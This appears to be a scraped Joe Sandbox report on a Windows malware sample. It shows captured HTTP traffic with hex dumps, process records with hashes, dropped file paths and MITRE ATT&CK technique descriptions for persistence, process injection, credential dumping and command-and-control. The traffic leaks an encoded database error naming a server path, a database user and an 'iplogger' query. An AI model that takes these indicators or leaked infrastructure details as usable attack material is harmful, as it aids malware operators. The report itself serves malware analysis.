/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-09-09 16:02:01 UTC	557	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: Va94dKYGNnJJnVd59aUpLZiKWYY4wWKexHD58G/jx4limiwQFGB7tuycW1XqhcR70/SANi75ke7jYv/hFqsuGQ== Date: Fri, 09 Sep 2022 16:02:01 GMT Priority: u=3,i Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-09-09 16:02:01 UTC	558	IN	Data Raw: 33 66 66 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 76 4b 67 5a 5a 72 61 68 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 Data Ascii: 3ff4<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="vKgZZrah">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requi
2022-09-09 16:02:01 UTC	558	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 4b 67 5a 5a 72 61 68 22 3e 3c 2f 73 74 79 Data Ascii: function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="vKgZZrah"></sty
2022-09-09 16:02:01 UTC	560	IN	Data Raw: 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 Data Ascii: curiteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" /></noscript><link re
2022-09-09 16:02:01 UTC	561	IN	Data Raw: 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 Data Ascii: 0000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674&
2022-09-09 16:02:01 UTC	563	IN	Data Raw: 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 Data Ascii: 4;'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%2

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SecuriteInfo.com.Win32.Malware-gen.30674.exePID: 6072, Parent PID: 5236

General

Target ID:	0
Start time:	18:00:06
Start date:	09/09/2022
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe"
Imagebase:	0x400000
File size:	3910656 bytes
MD5 hash:	E33D877AEEC8818D72035377F935768D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: SecuriteInfo.com.Win32.Malware-gen.30674.exePID: 5940, Parent PID: 3320

General

Target ID:	3
Start time:	18:00:22
Start date:	09/09/2022
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\securiteinfo.com.win32.malware-gen.30674.exe"
Imagebase:	0x400000
File size:	3910656 bytes
MD5 hash:	E33D877AEEC8818D72035377F935768D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: SecuriteInfo.com.Win32.Malware-gen.30674.exePID: 5860, Parent PID: 3320

General

Target ID:	8
Start time:	18:00:31
Start date:	09/09/2022
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\securiteinfo.com.win32.malware-gen.30674.exe"
Imagebase:	0x400000
File size:	3910656 bytes
MD5 hash:	E33D877AEEC8818D72035377F935768D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: ielowutil.exePID: 736, Parent PID: 5940

General

Target ID:	15
Start time:	18:01:08
Start date:	09/09/2022
Path:	C:\Program Files (x86)\Internet Explorer\ielowutil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Internet Explorer\IELowutil.exe" -PID:123
Imagebase:	0x1220000
File size:	221184 bytes
MD5 hash:	D1F5C3244A69511CAC88009B71884A71
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.Malware-gen.30674.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\Desktop\d

C:\Users\user\Desktop\d.INTEG.RAW

C:\Users\user\Desktop\d.jfm

C:\Users\user\Desktop\tmp.edb

C:\Users\user\Documents\VlcpVideoV1.0.1\SecuriteInfo.com.Win32.Malware-gen.30674.exe

C:\Users\user\Documents\VlcpVideoV1.0.1\SecuriteInfo.com.Win32.Malware-gen.30674.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
SecuriteInfo.com.Win32.Malware-gen.30674.exe